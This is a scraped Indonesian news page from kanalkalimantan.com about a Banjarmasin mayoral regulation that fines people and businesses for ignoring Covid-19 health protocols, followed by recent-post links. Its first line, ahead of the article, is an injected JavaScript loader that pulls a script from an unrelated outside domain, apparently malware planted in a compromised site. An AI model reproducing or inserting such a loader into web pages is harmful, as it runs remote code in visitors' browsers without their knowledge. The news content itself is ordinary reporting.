(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Perwali Mulai Berlaku, Abai Protokol Kesehatan Covid-19 Siap-siap Didenda!


KANALKALIMANTAN.COM, BANJARMASIN – Mulai Selasa (1/9/2020) besok, Peraturan Wali Kota (Perwali) Banjarmasin penegakan protokol kesehatan di tengah pandemi Covid-19 resmi diberlakukan.

Perwali dengan Nomor 68 Tahun 2020 -sebelumnya Nomor 60 Tahun 2020- ini secara resmi ditandatangani oleh Wali Kota H Ibnu Sina di Banjarmasin, Senin (31/8/2020).

“(Sebelumnya) Perwali Nomor 60 itu dipedomani oleh Pemko khususnya Bagian Hukum dan Dinas Kesehatan. Berkaitan dengan pelaksanaan penegakan hukum sesuai Inpres Nomor 4 tahun 2020 yang dikeluarkan tanggal 4 Agustus. Kemudian kita buat pasal-pasal sesuai kearifan lokal. Namun pada tanggal 10 Agustus keluar Instruksi Menteri Dalam Negeri Nomor 6 Tahun 2020,” tutur Ibnu di Balaikota Banjarmasin, Senin (31/8/2020).

Ia menerangkan, berdasarkan isi dari Instruksi Mendagri itu, Perwali Nomor 60 ini mengalami penyesuaian sesuai dengan format template yang dikeluarkan Kemendagri. Menurut Ibnu, Perwali baru yang berisi 18 pasal ini memiliki substansi yang sama dengan Perwali Nomor 60 tahun 2020.

Seperti penerapan sanksi berupa teguran maupun sanksi sosial. Disamping itu, sanksi berupa denda uang tunai juga diatur dalam Perwali ini, berkisar antar Rp 100 hingga Rp 150 ribu.

“Denda maksimum untuk individu sebesar Rp 100 ribu, jika tidak menggunakan masker. Tapi kalau untuk badan usaha ataupun bisnis yang tidak mengindahkan protokol kesehatan, seperti tidak mematuhi social distancing, tidak ada hand sanitizer atau tempat cuci tangan, maka dikenakan denda Rp 150 ribu,” imbuh Ibnu.

Khusus untuk badan usaha atau bisnis yang tidak mematuhi Perwali ini, selain denda Rp 150 ribu, Ibnu menegaskan akan diberi sanksi lain yaitu pencabutan izin usaha. Denda sendiri, nantinya akan masuk ke kas daerah.

Ketika ditanya target penegakan Perwali protokol kesehatan di Kota Banjarmasin ini, Ibnu masih belum mau mengungkapkannya. “Berdasarkan kesepakatan tadi, (kalau bisa) jangan dibocorkan dulu,” lugas Ibnu.

Dimulainya penerapan Perwali protokol kesehatan sendiri, dimulai dengan apel bersama di Balaikota Banjarmasin pada Selasa (1/9/2020), halaman Polresta Banjarmasin pada Rabu (2/9/2020) dan halaman Kodim 1007 Banjarmasin pada Kamis (3/9/2020).  Dalam pelaksanaannya, unsur TNI, Polri dan Satpol PP Kota Banjarmasin dilibatkan dalam penerapan Perwali ini. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

Al Ghifari

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

6 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

7 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

8 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

8 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

9 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

14 jam ago

This website uses cookies.